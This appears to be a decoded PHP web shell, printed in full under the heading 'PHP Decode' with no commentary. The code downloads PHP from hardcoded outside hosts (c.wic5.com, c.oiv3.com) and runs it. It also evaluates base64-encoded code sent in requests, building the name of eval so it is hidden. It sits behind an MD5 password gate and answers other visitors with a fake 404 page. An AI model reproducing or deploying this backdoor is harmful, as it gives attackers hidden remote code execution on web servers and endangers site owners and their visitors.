PHP Decode

<?  Array 
( 
    [0] => /x/i 
    [1] => x 
    [2] =>  
function GC($a) 
{ 
    $url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $a, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']); $code = @file_get_contents($url); if ($code == false) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'll'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 100); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $code = curl_exec($ch); curl_close($ch); }return $code;} 
if (isset($_REQUEST['ac']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['t'])) { $code = GC('https://c.wic5.com/'); if(!$code){$code = GC('https://c.oiv3.com/');}$need = '<'.'?'.'php'; if (strpos($code, $need) === false) { die('get failed'); } $file_name = tmpfile(); fwrite($file_name, $code); $a = stream_get_meta_data($file_name);$file_path = $a['uri']; $content = @file_get_contents($file_path);if(!$content){$file_path = '.c'; file_put_contents($file_path, $code);}@require($file_path); fclose($file_name);@unlink($file_path);die(); } 
if (isset($_REQUEST['d_time'])){ die('{->'.$L7CRgr.'<-}'); } 
$pass = false; 
if (isset($_COOKIE['pass'])) { if(md5($_COOKIE['pass']) == $L7CRgr) { $pass = true; } } else { if (isset($_POST['pass'])) { if(md5($_POST['pass']) == $L7CRgr) { setcookie("pass", $_POST['pass']); $pass = true; } } } 
if (isset($_POST['logout']) && $_POST['logout'] = 1) { setcookie("pass", null); $pass= false; } 
if(isset($_REQUEST['pwd163']) && md5($_REQUEST['pwd163']) == $L7CRgr) { 
    $a = base64_decode(rawurldecode((urlencode(urldecode($_REQUEST['zzz']))))); 
    $need = base64_decode("PD9waHA="); 
    if (strpos($a, $need) === false) { $a = $need . PHP_EOL . $a; } 
    if (isset($_REQUEST['e'])){ $a = str_replace($need, "", $a); $b = 'e'.base64_decode("dmE=").'l'; $b($a);die(); } 
    $file_name = tmpfile(); fwrite($file_name, $a); 
    $require_params = stream_get_meta_data($file_name); 
    @require($require_params['uri']); 
    fclose($file_name);die(); } 
if (isset($_REQUEST['auth_key'])){ die($L7CRgr); } if (!$pass) { if(!isset($_REQUEST['520'])) { header("HTTP/1.1 404 Not Found"); die();} echo '<form action="#" method="post"><input type="password" name="pass" > <input type="submit" value="submit"></form>'; die(); } 
 ?>